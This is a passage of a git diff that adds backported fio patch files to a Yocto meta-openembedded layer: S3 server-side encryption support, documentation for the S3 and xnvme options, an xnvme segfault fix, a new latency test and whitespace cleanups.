++ if (i < len) {
++ *r++ = sEncodingTable[(p[i] >> 2) & 0x3F];
++ if (i == (len - 1)) {
++ *r++ = sEncodingTable[((p[i] & 0x3) << 4)];
++ *r++ = '=';
++ } else {
++ *r++ = sEncodingTable[((p[i] & 0x3) << 4) | ((int) (p[i + 1] & 0xF0) >> 4)];
++ *r++ = sEncodingTable[((p[i + 1] & 0xF) << 2)];
++ }
++ *r++ = '=';
++ }
++
++ ret[out_len]=0;
++ return ret;
++}
++
++static char *_gen_base64_md5(const unsigned char *p, size_t len)
++{
++ unsigned char hash[MD5_DIGEST_LENGTH];
++ MD5((unsigned char*)p, len, hash);
++ return _conv_base64_encode(hash, MD5_DIGEST_LENGTH);
++}
++
+ static void _hmac(unsigned char *md, void *key, int key_len, char *data) {
+ #ifndef CONFIG_HAVE_OPAQUE_HMAC_CTX
+ HMAC_CTX _ctx;
+@@ -356,6 +426,9 @@ static void _add_aws_auth_header(CURL *curl, struct curl_slist *slist, struct ht
+ const char *service = "s3";
+ const char *aws = "aws4_request";
+ unsigned char md[SHA256_DIGEST_LENGTH];
++ unsigned char sse_key[33] = {0};
++ char *sse_key_base64 = NULL;
++ char *sse_key_md5_base64 = NULL;
+
+ time_t t = time(NULL);
+ struct tm *gtm = gmtime(&t);
+@@ -364,6 +437,9 @@ static void _add_aws_auth_header(CURL *curl, struct curl_slist *slist, struct ht
+ strftime (date_iso, sizeof(date_iso), "%Y%m%dT%H%M%SZ", gtm);
+ uri_encoded = _aws_uriencode(uri);
+
++ if (o->s3_sse_customer_key != NULL)
++ strncpy((char*)sse_key, o->s3_sse_customer_key, sizeof(sse_key) - 1);
++
+ if (op == DDIR_WRITE) {
+ dsha = _gen_hex_sha256(buf, len);
+ sprintf(method, "PUT");
+@@ -377,23 +453,50 @@ static void _add_aws_auth_header(CURL *curl, struct curl_slist *slist, struct ht
+ }
+
+ /* Create the canonical request first */
+- snprintf(creq, sizeof(creq),
+- "%s\n"
+- "%s\n"
+- "\n"
+- "host:%s\n"
+- "x-amz-content-sha256:%s\n"
+- "x-amz-date:%s\n"
+- "x-amz-storage-class:%s\n"
+- "\n"
+- "host;x-amz-content-sha256;x-amz-date;x-amz-storage-class\n"
+- "%s"
+- , method
+- , uri_encoded, o->host, dsha, date_iso, o->s3_storage_class, dsha);
++ if (sse_key[0] != '\0') {
++ sse_key_base64 = _conv_base64_encode(sse_key, sizeof(sse_key) - 1);
++ sse_key_md5_base64 = _gen_base64_md5(sse_key, sizeof(sse_key) - 1);
++ snprintf(creq, sizeof(creq),
++ "%s\n"
++ "%s\n"
++ "\n"
++ "host:%s\n"
++ "x-amz-content-sha256:%s\n"
++ "x-amz-date:%s\n"
++ "x-amz-server-side-encryption-customer-algorithm:%s\n"
++ "x-amz-server-side-encryption-customer-key:%s\n"
++ "x-amz-server-side-encryption-customer-key-md5:%s\n"
++ "x-amz-storage-class:%s\n"
++ "\n"
++ "host;x-amz-content-sha256;x-amz-date;"
++ "x-amz-server-side-encryption-customer-algorithm;"
++ "x-amz-server-side-encryption-customer-key;"
++ "x-amz-server-side-encryption-customer-key-md5;"
++ "x-amz-storage-class\n"
++ "%s"
++ , method
++ , uri_encoded, o->host, dsha, date_iso
++ , o->s3_sse_customer_algorithm, sse_key_base64
++ , sse_key_md5_base64, o->s3_storage_class, dsha);
++ } else {
++ snprintf(creq, sizeof(creq),
++ "%s\n"
++ "%s\n"
++ "\n"
++ "host:%s\n"
++ "x-amz-content-sha256:%s\n"
++ "x-amz-date:%s\n"
++ "x-amz-storage-class:%s\n"
++ "\n"
++ "host;x-amz-content-sha256;x-amz-date;x-amz-storage-class\n"
++ "%s"
++ , method
++ , uri_encoded, o->host, dsha, date_iso, o->s3_storage_class, dsha);
++ }
+
+ csha = _gen_hex_sha256(creq, strlen(creq));
+ snprintf(sts, sizeof(sts), "AWS4-HMAC-SHA256\n%s\n%s/%s/%s/%s\n%s",
+- date_iso, date_short, o->s3_region, service, aws, csha);
++ date_iso, date_short, o->s3_region, service, aws, csha);
+
+ snprintf((char *)dkey, sizeof(dkey), "AWS4%s", o->s3_key);
+ _hmac(md, dkey, strlen(dkey), date_short);
+@@ -412,11 +515,33 @@ static void _add_aws_auth_header(CURL *curl, struct curl_slist *slist, struct ht
+
+ snprintf(s, sizeof(s), "x-amz-date: %s", date_iso);
+ slist = curl_slist_append(slist, s);
++
++ if (sse_key[0] != '\0') {
++ snprintf(s, sizeof(s), "x-amz-server-side-encryption-customer-algorithm: %s", o->s3_sse_customer_algorithm);
++ slist = curl_slist_append(slist, s);
++ snprintf(s, sizeof(s), "x-amz-server-side-encryption-customer-key: %s", sse_key_base64);
++ slist = curl_slist_append(slist, s);
++ snprintf(s, sizeof(s), "x-amz-server-side-encryption-customer-key-md5: %s", sse_key_md5_base64);
++ slist = curl_slist_append(slist, s);
++ }
++
+ snprintf(s, sizeof(s), "x-amz-storage-class: %s", o->s3_storage_class);
+ slist = curl_slist_append(slist, s);
+- snprintf(s, sizeof(s), "Authorization: AWS4-HMAC-SHA256 Credential=%s/%s/%s/s3/aws4_request,"
+- "SignedHeaders=host;x-amz-content-sha256;x-amz-date;x-amz-storage-class,Signature=%s",
+- o->s3_keyid, date_short, o->s3_region, signature);
++
++ if (sse_key[0] != '\0') {
++ snprintf(s, sizeof(s), "Authorization: AWS4-HMAC-SHA256 Credential=%s/%s/%s/s3/aws4_request,"
++ "SignedHeaders=host;x-amz-content-sha256;"
++ "x-amz-date;x-amz-server-side-encryption-customer-algorithm;"
++ "x-amz-server-side-encryption-customer-key;"
++ "x-amz-server-side-encryption-customer-key-md5;"
++ "x-amz-storage-class,"
++ "Signature=%s",
++ o->s3_keyid, date_short, o->s3_region, signature);
++ } else {
++ snprintf(s, sizeof(s), "Authorization: AWS4-HMAC-SHA256 Credential=%s/%s/%s/s3/aws4_request,"
++ "SignedHeaders=host;x-amz-content-sha256;x-amz-date;x-amz-storage-class,Signature=%s",
++ o->s3_keyid, date_short, o->s3_region, signature);
++ }
+ slist = curl_slist_append(slist, s);
+
+ curl_easy_setopt(curl, CURLOPT_HTTPHEADER, slist);
+@@ -425,6 +550,10 @@ static void _add_aws_auth_header(CURL *curl, struct curl_slist *slist, struct ht
+ free(csha);
+ free(dsha);
+ free(signature);
++ if (sse_key_base64 != NULL) {
++ free(sse_key_base64);
++ free(sse_key_md5_base64);
++ }
+ }
+
+ static void _add_swift_header(CURL *curl, struct curl_slist *slist, struct http_options *o,
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0007-doc-Add-usage-and-example-about-s3-storage-class-and.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0007-doc-Add-usage-and-example-about-s3-storage-class-and.patch
new file mode 100644
index 0000000000..d5815935d7
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0007-doc-Add-usage-and-example-about-s3-storage-class-and.patch
@@ -0,0 +1,155 @@
+From 0cad4b6957818937519604b466a2da5b0c395cfe Mon Sep 17 00:00:00 2001
+From: "Feng, Hualong" <hualong.feng@intel.com>
+Date: Thu, 28 Jul 2022 01:47:48 +0000
+Subject: [PATCH] doc: Add usage and example about s3 storage class and crypto
+
+There add option usage about s3 storage class
+`http_s3_storage_class` and
+s3 SSE server side encryption
+`http_s3_sse_customer_key` and
+`http_s3_sse_customer_algorithm`
+
+And add example file in example folder.
+
+Signed-off-by: Feng, Hualong <hualong.feng@intel.com>
+---
+ HOWTO.rst | 14 +++++++++++
+ examples/http-s3-crypto.fio | 38 ++++++++++++++++++++++++++++++
+ examples/http-s3-storage-class.fio | 37 +++++++++++++++++++++++++++++
+ fio.1 | 9 +++++++
+ 4 files changed, 98 insertions(+)
+ create mode 100644 examples/http-s3-crypto.fio
+ create mode 100644 examples/http-s3-storage-class.fio
+
+diff --git a/HOWTO.rst b/HOWTO.rst
+index 104cce2d..05fc117f 100644
+--- a/HOWTO.rst
++++ b/HOWTO.rst
+@@ -2692,6 +2692,20 @@ with the caveat that when used on the command line, they must come after the
+
+ The S3 key/access id.
+
++.. option:: http_s3_sse_customer_key=str : [http]
++
++ The encryption customer key in SSE server side.
++
++.. option:: http_s3_sse_customer_algorithm=str : [http]
++
++ The encryption customer algorithm in SSE server side.
++ Default is **AES256**
++
++.. option:: http_s3_storage_class=str : [http]
++
++ Which storage class to access. User-customizable settings.
++ Default is **STANDARD**
++
+ .. option:: http_swift_auth_token=str : [http]
+
+ The Swift auth token. See the example configuration file on how
+diff --git a/examples/http-s3-crypto.fio b/examples/http-s3-crypto.fio
+new file mode 100644
+index 00000000..2403746e
+--- /dev/null
++++ b/examples/http-s3-crypto.fio
+@@ -0,0 +1,38 @@
++# Example test for the HTTP engine's S3 support against Amazon AWS.
++# Obviously, you have to adjust the S3 credentials; for this example,
++# they're passed in via the environment.
++# And you can set the SSE Customer Key and Algorithm to test Server
++# Side Encryption.
++#
++
++[global]
++ioengine=http
++name=test
++direct=1
++filename=/larsmb-fio-test/object
++http_verbose=0
++https=on
++http_mode=s3
++http_s3_key=${S3_KEY}
++http_s3_keyid=${S3_ID}
++http_host=s3.eu-central-1.amazonaws.com
++http_s3_region=eu-central-1
++http_s3_sse_customer_key=${SSE_KEY}
++http_s3_sse_customer_algorithm=AES256
++group_reporting
++
++# With verify, this both writes and reads the object
++[create]
++rw=write
++bs=4k
++size=64k
++io_size=4k
++verify=sha256
++
++[trim]
++stonewall
++rw=trim
++bs=4k
++size=64k
++io_size=4k
++
+diff --git a/examples/http-s3-storage-class.fio b/examples/http-s3-storage-class.fio
+new file mode 100644
+index 00000000..9ee23837
+--- /dev/null
++++ b/examples/http-s3-storage-class.fio
+@@ -0,0 +1,37 @@
++# Example test for the HTTP engine's S3 support against Amazon AWS.
++# Obviously, you have to adjust the S3 credentials; for this example,
++# they're passed in via the environment.
++# And here add storage class parameter, you can set normal test for
++# STANDARD and compression test for another storage class.
++#
++
++[global]
++ioengine=http
++name=test
++direct=1
++filename=/larsmb-fio-test/object
++http_verbose=0
++https=on
++http_mode=s3
++http_s3_key=${S3_KEY}
++http_s3_keyid=${S3_ID}
++http_host=s3.eu-central-1.amazonaws.com
++http_s3_region=eu-central-1
++http_s3_storage_class=${STORAGE_CLASS}
++group_reporting
++
++# With verify, this both writes and reads the object
++[create]
++rw=write
++bs=4k
++size=64k
++io_size=4k
++verify=sha256
++
++[trim]
++stonewall
++rw=trim
++bs=4k
++size=64k
++io_size=4k
++
+diff --git a/fio.1 b/fio.1
+index ce9bf3ef..6630525f 100644
+--- a/fio.1
++++ b/fio.1
+@@ -2308,6 +2308,15 @@ The S3 secret key.
+ .BI (http)http_s3_keyid \fR=\fPstr
+ The S3 key/access id.
+ .TP
++.BI (http)http_s3_sse_customer_key \fR=\fPstr
++The encryption customer key in SSE server side.
++.TP
++.BI (http)http_s3_sse_customer_algorithm \fR=\fPstr
++The encryption customer algorithm in SSE server side. Default is \fBAES256\fR
++.TP
++.BI (http)http_s3_storage_class \fR=\fPstr
++Which storage class to access. User-customizable settings. Default is \fBSTANDARD\fR
++.TP
+ .BI (http)http_swift_auth_token \fR=\fPstr
+ The Swift auth token. See the example configuration file on how to
+ retrieve this.
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0008-README-link-to-GitHub-releases-for-Windows.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0008-README-link-to-GitHub-releases-for-Windows.patch
new file mode 100644
index 0000000000..3f7ba4ccb4
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0008-README-link-to-GitHub-releases-for-Windows.patch
@@ -0,0 +1,33 @@
+From 6809d81b2a9b854697c65e0d69455a39d4497a6b Mon Sep 17 00:00:00 2001
+From: Vincent Fu <vincent.fu@samsung.com>
+Date: Mon, 15 Aug 2022 10:37:57 -0400
+Subject: [PATCH] README: link to GitHub releases for Windows
+
+Note that Windows installers are now available as releases on GitHub.
+
+Signed-off-by: Vincent Fu <vincent.fu@samsung.com>
+---
+ README.rst | 10 ++++++----
+ 1 file changed, 6 insertions(+), 4 deletions(-)
+
+diff --git a/README.rst b/README.rst
+index 67420903..79582dea 100644
+--- a/README.rst
++++ b/README.rst
+@@ -123,10 +123,12 @@ Solaris:
+ ``pkgutil -i fio``.
+
+ Windows:
+- Rebecca Cran <rebecca@bsdio.com> has fio packages for Windows at
+- https://bsdio.com/fio/ . The latest builds for Windows can also
+- be grabbed from https://ci.appveyor.com/project/axboe/fio by clicking
+- the latest x86 or x64 build, then selecting the ARTIFACTS tab.
++ Beginning with fio 3.31 Windows installers are available on GitHub at
++ https://github.com/axboe/fio/releases. Rebecca Cran
++ <rebecca@bsdio.com> has fio packages for Windows at
++ https://bsdio.com/fio/ . The latest builds for Windows can also be
++ grabbed from https://ci.appveyor.com/project/axboe/fio by clicking the
++ latest x86 or x64 build and then selecting the Artifacts tab.
+
+ BSDs:
+ Packages for BSDs may be available from their binary package repositories.
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0009-engines-xnvme-fix-segfault-issue-with-xnvme-ioengine.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0009-engines-xnvme-fix-segfault-issue-with-xnvme-ioengine.patch
new file mode 100644
index 0000000000..6e322b8f91
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0009-engines-xnvme-fix-segfault-issue-with-xnvme-ioengine.patch
@@ -0,0 +1,54 @@
+From d5aac3401e180f3d4ff3db04ebb4e3165b975987 Mon Sep 17 00:00:00 2001
+From: Ankit Kumar <ankit.kumar@samsung.com>
+Date: Tue, 16 Aug 2022 11:08:20 +0530
+Subject: [PATCH] engines/xnvme: fix segfault issue with xnvme ioengine
+
+fix segfault when xnvme ioengine is called without thread=1.
+The segfault happens because td->io_ops_data is accessed at
+two locations xnvme_fioe_cleanup and xnvme_fioe_iomem_free,
+during the error handling call.
+
+Signed-off-by: Ankit Kumar <ankit.kumar@samsung.com>
+Link: https://lore.kernel.org/r/20220816053821.440-2-ankit.kumar@samsung.com
+Signed-off-by: Jens Axboe <axboe@kernel.dk>
+---
+ engines/xnvme.c | 17 ++++++++++++++---
+ 1 file changed, 14 insertions(+), 3 deletions(-)
+
+diff --git a/engines/xnvme.c b/engines/xnvme.c
+index c11b33a8..d8647481 100644
+--- a/engines/xnvme.c
++++ b/engines/xnvme.c
+@@ -205,9 +205,14 @@ static void _dev_close(struct thread_data *td, struct xnvme_fioe_fwrap *fwrap)
+
+ static void xnvme_fioe_cleanup(struct thread_data *td)
+ {
+- struct xnvme_fioe_data *xd = td->io_ops_data;
++ struct xnvme_fioe_data *xd = NULL;
+ int err;
+
++ if (!td->io_ops_data)
++ return;
++
++ xd = td->io_ops_data;
++
+ err = pthread_mutex_lock(&g_serialize);
+ if (err)
+ log_err("ioeng->cleanup(): pthread_mutex_lock(), err(%d)\n", err);
+@@ -367,8 +372,14 @@ static int xnvme_fioe_iomem_alloc(struct thread_data *td, size_t total_mem)
+ /* NOTE: using the first device for buffer-allocators) */
+ static void xnvme_fioe_iomem_free(struct thread_data *td)
+ {
+- struct xnvme_fioe_data *xd = td->io_ops_data;
+- struct xnvme_fioe_fwrap *fwrap = &xd->files[0];
++ struct xnvme_fioe_data *xd = NULL;
++ struct xnvme_fioe_fwrap *fwrap = NULL;
++
++ if (!td->io_ops_data)
++ return;
++
++ xd = td->io_ops_data;
++ fwrap = &xd->files[0];
+
+ if (!fwrap->dev) {
+ log_err("ioeng->iomem_free(): failed no dev-handle\n");
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0010-doc-update-fio-doc-for-xnvme-engine.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0010-doc-update-fio-doc-for-xnvme-engine.patch
new file mode 100644
index 0000000000..6c85cfc204
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0010-doc-update-fio-doc-for-xnvme-engine.patch
@@ -0,0 +1,168 @@
+From 8e318fd65ba5c0f6ce82860984bc8d69a7843f97 Mon Sep 17 00:00:00 2001
+From: Ankit Kumar <ankit.kumar@samsung.com>
+Date: Tue, 16 Aug 2022 11:08:21 +0530
+Subject: [PATCH] doc: update fio doc for xnvme engine
+
+- Elaborate about the various sync, async and admin
+ interfaces.
+- add missing io_uring_cmd async backend entry.
+- xnvme ioengine doesn't support file stat.
+
+Signed-off-by: Ankit Kumar <ankit.kumar@samsung.com>
+Link: https://lore.kernel.org/r/20220816053821.440-3-ankit.kumar@samsung.com
+Signed-off-by: Jens Axboe <axboe@kernel.dk>
+---
+ HOWTO.rst | 37 ++++++++++++++++++++++++++-----------
+ fio.1 | 34 +++++++++++++++++++++-------------
+ 2 files changed, 47 insertions(+), 24 deletions(-)
+
+diff --git a/HOWTO.rst b/HOWTO.rst
+index 05fc117f..b2750b56 100644
+--- a/HOWTO.rst
++++ b/HOWTO.rst
+@@ -2780,41 +2780,56 @@ with the caveat that when used on the command line, they must come after the
+ Select the xnvme async command interface. This can take these values.
+
+ **emu**
+- This is default and used to emulate asynchronous I/O.
++ This is default and use to emulate asynchronous I/O by using a
++ single thread to create a queue pair on top of a synchronous
++ I/O interface using the NVMe driver IOCTL.
+ **thrpool**
+- Use thread pool for Asynchronous I/O.
++ Emulate an asynchronous I/O interface with a pool of userspace
++ threads on top of a synchronous I/O interface using the NVMe
++ driver IOCTL. By default four threads are used.
+ **io_uring**
+- Use Linux io_uring/liburing for Asynchronous I/O.
++ Linux native asynchronous I/O interface which supports both
++ direct and buffered I/O.
++ **io_uring_cmd**
++ Fast Linux native asynchronous I/O interface for NVMe pass
++ through commands. This only works with NVMe character device
++ (/dev/ngXnY).
+ **libaio**
+ Use Linux aio for Asynchronous I/O.
+ **posix**
+- Use POSIX aio for Asynchronous I/O.
++ Use the posix asynchronous I/O interface to perform one or
++ more I/O operations asynchronously.
+ **nil**
+- Use nil-io; For introspective perf. evaluation
++ Do not transfer any data; just pretend to. This is mainly used
++ for introspective performance evaluation.
+
+ .. option:: xnvme_sync=str : [xnvme]
+
+ Select the xnvme synchronous command interface. This can take these values.
+
+ **nvme**
+- This is default and uses Linux NVMe Driver ioctl() for synchronous I/O.
++ This is default and uses Linux NVMe Driver ioctl() for
++ synchronous I/O.
+ **psync**
+- Use pread()/write() for synchronous I/O.
++ This supports regular as well as vectored pread() and pwrite()
++ commands.
++ **block**
++ This is the same as psync except that it also supports zone
++ management commands using Linux block layer IOCTLs.
+
+ .. option:: xnvme_admin=str : [xnvme]
+
+ Select the xnvme admin command interface. This can take these values.
+
+ **nvme**
+- This is default and uses linux NVMe Driver ioctl() for admin commands.
++ This is default and uses linux NVMe Driver ioctl() for admin
++ commands.
+ **block**
+ Use Linux Block Layer ioctl() and sysfs for admin commands.
+- **file_as_ns**
+- Use file-stat to construct NVMe idfy responses.
+
+ .. option:: xnvme_dev_nsid=int : [xnvme]
+
+- xnvme namespace identifier, for userspace NVMe driver.
++ xnvme namespace identifier for userspace NVMe driver, such as SPDK.
+
+ .. option:: xnvme_iovec=int : [xnvme]
+
+diff --git a/fio.1 b/fio.1
+index 6630525f..f3f3dc5d 100644
+--- a/fio.1
++++ b/fio.1
+@@ -2530,22 +2530,29 @@ Select the xnvme async command interface. This can take these values.
+ .RS
+ .TP
+ .B emu
+-This is default and used to emulate asynchronous I/O
++This is default and use to emulate asynchronous I/O by using a single thread to
++create a queue pair on top of a synchronous I/O interface using the NVMe driver
++IOCTL.
+ .TP
+ .BI thrpool
+-Use thread pool for Asynchronous I/O
++Emulate an asynchronous I/O interface with a pool of userspace threads on top
++of a synchronous I/O interface using the NVMe driver IOCTL. By default four
++threads are used.
+ .TP
+ .BI io_uring
+-Use Linux io_uring/liburing for Asynchronous I/O
++Linux native asynchronous I/O interface which supports both direct and buffered
++I/O.
+ .TP
+ .BI libaio
+ Use Linux aio for Asynchronous I/O
+ .TP
+ .BI posix
+-Use POSIX aio for Asynchronous I/O
++Use the posix asynchronous I/O interface to perform one or more I/O operations
++asynchronously.
+ .TP
+ .BI nil
+-Use nil-io; For introspective perf. evaluation
++Do not transfer any data; just pretend to. This is mainly used for
++introspective performance evaluation.
+ .RE
+ .RE
+ .TP
+@@ -2555,10 +2562,14 @@ Select the xnvme synchronous command interface. This can take these values.
+ .RS
+ .TP
+ .B nvme
+-This is default and uses Linux NVMe Driver ioctl() for synchronous I/O
++This is default and uses Linux NVMe Driver ioctl() for synchronous I/O.
+ .TP
+ .BI psync
+-Use pread()/write() for synchronous I/O
++This supports regular as well as vectored pread() and pwrite() commands.
++.TP
++.BI block
++This is the same as psync except that it also supports zone management
++commands using Linux block layer IOCTLs.
+ .RE
+ .RE
+ .TP
+@@ -2568,18 +2579,15 @@ Select the xnvme admin command interface. This can take these values.
+ .RS
+ .TP
+ .B nvme
+-This is default and uses Linux NVMe Driver ioctl() for admin commands
++This is default and uses Linux NVMe Driver ioctl() for admin commands.
+ .TP
+ .BI block
+-Use Linux Block Layer ioctl() and sysfs for admin commands
+-.TP
+-.BI file_as_ns
+-Use file-stat as to construct NVMe idfy responses
++Use Linux Block Layer ioctl() and sysfs for admin commands.
+ .RE
+ .RE
+ .TP
+ .BI (xnvme)xnvme_dev_nsid\fR=\fPint
+-xnvme namespace identifier, for userspace NVMe driver.
++xnvme namespace identifier for userspace NVMe driver such as SPDK.
+ .TP
+ .BI (xnvme)xnvme_iovec
+ If this option is set, xnvme will use vectored read/write commands.
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0011-test-add-latency-test-using-posixaio-ioengine.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0011-test-add-latency-test-using-posixaio-ioengine.patch
new file mode 100644
index 0000000000..d86ac11abb
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0011-test-add-latency-test-using-posixaio-ioengine.patch
@@ -0,0 +1,55 @@
+From fa64b199318318af7fe598a5b9ec62b981a55e2d Mon Sep 17 00:00:00 2001
+From: Vincent Fu <vincent.fu@samsung.com>
+Date: Mon, 15 Aug 2022 11:34:43 -0400
+Subject: [PATCH] test: add latency test using posixaio ioengine
+
+Make sure that mean(slat) + mean(clat) = mean(total lat).
+
+Tests 15 and 16 use the libaio and null ioengines, respectively. Both of
+those ioengines have commit hooks. Add this new test using the posixaio
+ioengine which does not have a commit hook so that we can better cover
+the possible ways that latency is calcualted.
+
+Signed-off-by: Vincent Fu <vincent.fu@samsung.com>
+---
+ t/jobs/t0017.fio | 9 +++++++++
+ t/run-fio-tests.py | 10 ++++++++++
+ 2 files changed, 19 insertions(+)
+ create mode 100644 t/jobs/t0017.fio
+
+diff --git a/t/jobs/t0017.fio b/t/jobs/t0017.fio
+new file mode 100644
+index 00000000..14486d98
+--- /dev/null
++++ b/t/jobs/t0017.fio
+@@ -0,0 +1,9 @@
++# Expected result: mean(slat) + mean(clat) = mean(lat)
++# Buggy result: equality does not hold
++# This is similar to t0015 and t0016 except that is uses posixaio which is
++# available on more platforms and does not have a commit hook
++
++[test]
++ioengine=posixaio
++size=1M
++iodepth=16
+diff --git a/t/run-fio-tests.py b/t/run-fio-tests.py
+index d77f20e0..2bd02a2a 100755
+--- a/t/run-fio-tests.py
++++ b/t/run-fio-tests.py
+@@ -857,6 +857,16 @@ TEST_LIST = [
+ 'output_format': 'json',
+ 'requirements': [],
+ },
++ {
++ 'test_id': 17,
++ 'test_class': FioJobTest_t0015,
++ 'job': 't0017.fio',
++ 'success': SUCCESS_DEFAULT,
++ 'pre_job': None,
++ 'pre_success': None,
++ 'output_format': 'json',
++ 'requirements': [Requirements.not_windows],
++ },
+ {
+ 'test_id': 1000,
+ 'test_class': FioExeTest,
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0012-test-fix-hash-for-t0016.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0012-test-fix-hash-for-t0016.patch
new file mode 100644
index 0000000000..8f10f415cc
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0012-test-fix-hash-for-t0016.patch
@@ -0,0 +1,33 @@
+From 1e68459d85f56f805c70236ad47a65a65f426867 Mon Sep 17 00:00:00 2001
+From: Vincent Fu <vincent.fu@samsung.com>
+Date: Mon, 15 Aug 2022 11:40:58 -0400
+Subject: [PATCH] test: fix hash for t0016
+
+I used the wrong hash for t0016 in the original commit. Fix it to refer
+to the hash that fixed the issue in this tree.
+
+Fixes: de31fe9a ("testing: add test for slat + clat = tlat")
+Signed-off-by: Vincent Fu <vincent.fu@samsung.com>
+---
+ t/jobs/{t0016-259ebc00.fio => t0016-d54ae22.fio} | 0
+ t/run-fio-tests.py | 2 +-
+ 2 files changed, 1 insertion(+), 1 deletion(-)
+ rename t/jobs/{t0016-259ebc00.fio => t0016-d54ae22.fio} (100%)
+
+diff --git a/t/jobs/t0016-259ebc00.fio b/t/jobs/t0016-d54ae22.fio
+similarity index 100%
+rename from t/jobs/t0016-259ebc00.fio
+rename to t/jobs/t0016-d54ae22.fio
+diff --git a/t/run-fio-tests.py b/t/run-fio-tests.py
+index 2bd02a2a..504b7cdb 100755
+--- a/t/run-fio-tests.py
++++ b/t/run-fio-tests.py
+@@ -850,7 +850,7 @@ TEST_LIST = [
+ {
+ 'test_id': 16,
+ 'test_class': FioJobTest_t0015,
+- 'job': 't0016-259ebc00.fio',
++ 'job': 't0016-d54ae22.fio',
+ 'success': SUCCESS_DEFAULT,
+ 'pre_job': None,
+ 'pre_success': None,
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0013-doc-get-rid-of-trailing-whitespace.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0013-doc-get-rid-of-trailing-whitespace.patch
new file mode 100644
index 0000000000..5f72f47b07
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0013-doc-get-rid-of-trailing-whitespace.patch
@@ -0,0 +1,82 @@
+From ff16b7c0c855d5242d92d7f902247525ff1f889a Mon Sep 17 00:00:00 2001
+From: Konstantin Kharlamov <Hi-Angel@yandex.ru>
+Date: Tue, 16 Aug 2022 19:14:13 +0300
+Subject: [PATCH] doc: get rid of trailing whitespace
+
+Signed-off-by: Konstantin Kharlamov <Hi-Angel@yandex.ru>
+---
+ HOWTO.rst | 4 ++--
+ fio.1 | 10 +++++-----
+ 2 files changed, 7 insertions(+), 7 deletions(-)
+
+diff --git a/HOWTO.rst b/HOWTO.rst
+index b2750b56..c94238ed 100644
+--- a/HOWTO.rst
++++ b/HOWTO.rst
+@@ -1301,7 +1301,7 @@ I/O type
+ effectively caps the file size at `real_size - offset`. Can be combined with
+ :option:`size` to constrain the start and end range of the I/O workload.
+ A percentage can be specified by a number between 1 and 100 followed by '%',
+- for example, ``offset=20%`` to specify 20%. In ZBD mode, value can be set as
++ for example, ``offset=20%`` to specify 20%. In ZBD mode, value can be set as
+ number of zones using 'z'.
+
+ .. option:: offset_align=int
+@@ -1877,7 +1877,7 @@ I/O size
+ If this option is not specified, fio will use the full size of the given
+ files or devices. If the files do not exist, size must be given. It is also
+ possible to give size as a percentage between 1 and 100. If ``size=20%`` is
+- given, fio will use 20% of the full size of the given files or devices.
++ given, fio will use 20% of the full size of the given files or devices.
+ In ZBD mode, value can also be set as number of zones using 'z'.
+ Can be combined with :option:`offset` to constrain the start and end range
+ that I/O will be done within.
+diff --git a/fio.1 b/fio.1
+index f3f3dc5d..d40b4247 100644
+--- a/fio.1
++++ b/fio.1
+@@ -292,7 +292,7 @@ For Zone Block Device Mode:
+ .RS
+ .P
+ .PD 0
+-z means Zone
++z means Zone
+ .P
+ .PD
+ .RE
+@@ -1083,7 +1083,7 @@ provided. Data before the given offset will not be touched. This
+ effectively caps the file size at `real_size \- offset'. Can be combined with
+ \fBsize\fR to constrain the start and end range of the I/O workload.
+ A percentage can be specified by a number between 1 and 100 followed by '%',
+-for example, `offset=20%' to specify 20%. In ZBD mode, value can be set as
++for example, `offset=20%' to specify 20%. In ZBD mode, value can be set as
+ number of zones using 'z'.
+ .TP
+ .BI offset_align \fR=\fPint
+@@ -1099,7 +1099,7 @@ specified). This option is useful if there are several jobs which are
+ intended to operate on a file in parallel disjoint segments, with even
+ spacing between the starting points. Percentages can be used for this option.
+ If a percentage is given, the generated offset will be aligned to the minimum
+-\fBblocksize\fR or to the value of \fBoffset_align\fR if provided.In ZBD mode, value
++\fBblocksize\fR or to the value of \fBoffset_align\fR if provided.In ZBD mode, value
+ can be set as number of zones using 'z'.
+ .TP
+ .BI number_ios \fR=\fPint
+@@ -1678,7 +1678,7 @@ If this option is not specified, fio will use the full size of the given
+ files or devices. If the files do not exist, size must be given. It is also
+ possible to give size as a percentage between 1 and 100. If `size=20%' is
+ given, fio will use 20% of the full size of the given files or devices. In ZBD mode,
+-size can be given in units of number of zones using 'z'. Can be combined with \fBoffset\fR to
++size can be given in units of number of zones using 'z'. Can be combined with \fBoffset\fR to
+ constrain the start and end range that I/O will be done within.
+ .TP
+ .BI io_size \fR=\fPint[%|z] "\fR,\fB io_limit" \fR=\fPint[%|z]
+@@ -1697,7 +1697,7 @@ also be set as number of zones using 'z'.
+ .BI filesize \fR=\fPirange(int)
+ Individual file sizes. May be a range, in which case fio will select sizes
+ for files at random within the given range. If not given, each created file
+-is the same size. This option overrides \fBsize\fR in terms of file size,
++is the same size. This option overrides \fBsize\fR in terms of file size,
+ i.e. \fBsize\fR becomes merely the default for \fBio_size\fR (and
+ has no effect it all if \fBio_size\fR is set explicitly).
+ .TP
